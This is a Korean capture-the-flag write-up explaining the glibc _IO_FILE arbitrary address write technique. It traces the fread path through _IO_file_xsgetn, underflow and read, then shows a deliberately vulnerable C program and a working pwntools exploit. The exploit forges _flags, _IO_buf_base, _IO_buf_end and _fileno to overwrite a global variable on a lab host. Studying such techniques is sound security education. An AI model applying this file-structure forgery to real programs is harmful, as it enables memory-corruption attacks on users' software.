개념정리
파일을 읽고 쓰는 과정은 라이브러리 함수 내부에서 파일 구조체의 포인터와 값을 이용한다.
파일 구조체를 조작해서 임의의 주소에 쓰기를 수행하는 취약점에 대해 알아볼 것이다.
파일 내용을 읽는 대표적인 함수는 fread
, fgets
가 있다. 해당 함수는 라이브러리 내부에서 _IO_file_xsgetn
함수를 호출한다.
○ _IO_file_xsgetn
_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
_IO_size_t want, have;
_IO_ssize_t count;
_char *s = data;
want = n;
...
/* If we now want less than a buffer, underflow and repeat
the copy. Otherwise, _IO_SYSREAD directly to
the user buffer. */
if (fp->_IO_buf_base
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF)
break;
continue;
}
...
}
해당 함수는 파일 함수의 인자로 전달된 n
이 _IO_buf_end - _IO_buf_base
값보다 작은지를 검사하고 __underflow()
→ _IO_new_file_underflow
함수를 호출한다.
○ _IO_new_file_underflow
int _IO_new_file_underflow (FILE *fp)
{
ssize_t count;
if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
...
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
}
_IO_new_file_underflow
함수에서는 파일 포인터의 _flags
변수에 읽기 권한이 부여됐는지 확인한다.
_IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
다음으로 _IO_SYSREAD
함수의 인자로 파일 포인터와 파일 구조체의 멤버 변수를 연산한 값을 전달한다.
_IO_SYSREAD
함수는 vtable의 _IO_file_read()
로 매크로 정의를 통해 확인할 수 있다.
○ _IO_file_read
_IO_ssize_t
_IO_file_read (_IO_FILE *fp, void *buf, _IO_ssize_t size)
{
return (__builtin_expect (fp->_flags2 & _IO_FLAGS2_NOTCANCEL, 0)
? __read_nocancel (fp->_fileno, buf, size)
: __read (fp->_fileno, buf, size));
}
_IO_file_read
함수에서는 read
시스템 콜을 사용해 데이터를 읽는다.
read(f->_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base);
시스템 콜 인자로 파일 구조체에서 파일 디스크립터를 나타내는 _fileno
, _IO_buf_base
인 buf
, 그리고 _IO_buf_end - _IO_buf_base
로 연산된 size
가 전달된다.
이때, fd 변수인 _fileno
, _IO_buf_base
, _IO_buf_end
, _flags
를 적절하게 조작하여 임의의 주소에 쓰기를 수행할 수 있는 공격 방법이 _IO_FILE Arbitrary Address Write
다.
실습 예제를 통해 확인해보자.
문제분석 & 풀이
// Name: iofile_aaw
// gcc -o iofile_aaw iofile_aaw.c -no-pie
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char flag_buf[1024];
int overwrite_me;
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int read_flag() {
FILE *fp;
fp = fopen("/home/iofile_aaw/flag", "r");
fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);
write(1, flag_buf, sizeof(flag_buf));
fclose(fp);
}
int main() {
FILE *fp;
char file_buf[1024];
init();
fp = fopen("/etc/issue", "r");
printf("Data: ");
read(0, fp, 300);
fread(file_buf, 1, sizeof(file_buf)-1, fp);
printf("%s", file_buf);
if( overwrite_me == 0xDEADBEEF)
read_flag();
fclose(fp);
}
fp를 조작해서 overwrite_me
를 0xDEADBEEF
로 조작하면 flag를 획득할 수 있다.
read(f->_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base);
개념정리
에서 언급한 것처럼 _IO_file_read()
에서 read 시스템 콜이 호출된다.
fp를 조작할 수 있으므로 read 시스템 콜을 통해 overwrite_me
를 조작할 수 있도록 적절하게 조작하면 된다.
_IO_buf_base
를 overwrite_me
의 주소로 조작하고, _IO_buf_end
를 overwrite_me + 1024
로 조작한다.
중요한 점은 read 함수 인자로 사용되는 size를 적절하게 조작해야한다.
이유는 _IO_new_file_underflow()
에서 _IO_buf_end - _IO_buf_base
값이 fread 함수의 인자로 전달된 읽기 크기보다 커야되는 조건이 있기 때문이다.
char file_buf[1024];
...
fread(file_buf, 1, sizeof(file_buf)-1, fp);
코드를 보면 fread 함수의 size로 1023을 사용하고 있다. 따라서 더 큰 1024로 조작해야한다.
마지막으로 값을 쓰기 위해서 fileno
를 stdin을 나타내는 0으로 덮고 _flags
를 0xfbad2488
로 조작하면된다.
0xfbad2488
== _IO_MAGIC(0xfbad0000) + _IO_IS_FILEBUF(0x2000) + _IO_TIED_PU_GET(0x400) + _IO_LINKED(0x80) + _IO_NO_WRITES(0x8)
을 의미하고 쓰기를 수행하기위한 flag를 설정한 것이다.
exploit
from pwn import *
import warnings
warnings.filterwarnings('ignore')
p = remote('host3.dreamhack.games', 15495)
#p = process("./iofile_aaw")
elf = ELF('./iofile_aaw')
overwrite_me = elf.symbols['overwrite_me']
payload = p64(0xfbad2488)
payload += p64(0) # _IO_read_ptr
payload += p64(0) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(0) # _IO_write_base
payload += p64(0) # _IO_write_ptr
payload += p64(0) # _IO_write_end
payload += p64(overwrite_me) # _IO_buf_base
payload += p64(overwrite_me+1024) # _IO_buf_end
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0) # stdin
p.sendline(payload)
p.sendline(p64(0xDEADBEEF) + b"\x00"*1024)
p.interactive()